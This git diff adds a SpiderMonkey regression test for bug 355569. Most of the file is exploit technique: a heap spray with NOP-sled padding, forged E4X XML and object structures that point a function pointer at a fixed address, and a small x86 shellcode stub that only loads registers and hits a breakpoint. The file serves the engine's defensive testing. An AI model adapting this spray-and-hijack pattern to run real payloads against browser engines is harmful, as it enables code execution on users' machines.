1 files changed, 128 insertions, 0 deletions
diff --git a/js/src/tests/non262/regress/regress-355569.js b/js/src/tests/non262/regress/regress-355569.js
new file mode 100644
index 0000000000..7e995a435a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355569.js
@@ -0,0 +1,128 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 355569;
+var actual = '';
+var expect = '';
+var summary = '';
+
+printBugNumber (BUGNUMBER);
+printStatus (summary);
+
+var targetAddress = 0x12030010;
+var sprayParams = {
+  chunkSize: 16 * 1024 * 1024,
+  chunkCount: 16,
+  chunkMarker: 0xdeadface,
+  chunkAlign: 0x1000,
+  reservedSize: 1024
+};
+
+function makeExploitCode() {
+  /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+  return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+}
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function packData(template, A) {
+  var n = 0, result = "", vl;
+  for(var i = 0; i < template.length; i++) {
+    var ch = template.charAt(i);
+    if(ch == "s" || ch == "S") {
+      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
+    } else if(ch == "l" || ch == "L") { // XXX endian
+      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
+    } else if(ch == "=") {
+      result += String(A[n++]);
+    }
+  }
+  return result;
+}
+function buildStructure(worker, address) {
+  var offs = {}, result = "", context = {
+    append: function(k, v) { offs[k] = result.length * 2; result += v; },
+    address: function(k) { return address + ((k && offs[k]) || 0); }
+  }; worker(context); result = ""; worker(context); return result;
+}
+function repeatToLength(s, L) {
+  if(L <= s.length) { return s.substring(0, L); }
+  while(s.length <= L/2) { s += s; }
+  return s + s.substring(0, L - s.length);
+}
+function sprayData(data, params, rooter) {
+  var marker = packData("L", [ params.chunkMarker ]);
+  data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
+  data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
+  for(var i = 0; i < params.chunkCount; i++) {
+    rooter[i] = marker + data + i;
+  }
+}
+
+function T_JSObject(map, slots)
+{ return packData("LL", arguments); }
+function T_JSObjectMap(nrefs, ops, nslots, freeslot)
+{ return packData("LLLL", arguments); }
+function T_JSObjectOps(
+  newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
+  getProperty, setProperty, getAttributes, setAttributes,
+  deleteProperty, defaultValue, enumerate, checkAccess,
+  thisObject, dropProperty, call, construct,
+  xdrObject, hasInstance, setProto, setParent,
+  mark, clear, getRequiredSlot, setRequiredSlot
+) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
+
+function T_JSXML_LIST(
+  object, domnode, parent, name, xml_class, xml_flags,
+  kids_length, kids_capacity, kids_vector, kids_cursors,
+  xml_target, xml_targetprop
+) { return packData("LLLLSS LLLL LL", arguments); }
+function T_JSXML_ELEMENT(
+  object, domnode, parent, name, xml_class, xml_flags,
+  kids_length, kids_capacity, kids_vector, kids_cursors,
+  nses_length, nses_capacity, nses_vector, nses_cursors,
+  atrs_length, atrs_capacity, atrs_vector, atrs_cursors
+) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function makeExploitData(address) {
+  return buildStructure(function(ctx) {
+    ctx.append("xml-list",
+      T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
+    ctx.append("xml-kids-vector",
+      packData("L", [ ctx.address("xml-element") ]));
+    ctx.append("xml-element",
+      T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
+    ctx.append("object",
+      T_JSObject(ctx.address("object-map"), 0));
+    ctx.append("object-map",
+      T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
+    ctx.append("object-ops",
+      T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
+    ctx.append("exploit-code",
+      makeExploitCode(ctx));
+  }, address);
+}
+
+function exploit() {
+  sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
+  var numobj = new Number(targetAddress >> 1);
+  printStatus("probably not exploitable");
+}
+
+try
+{
+    exploit();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+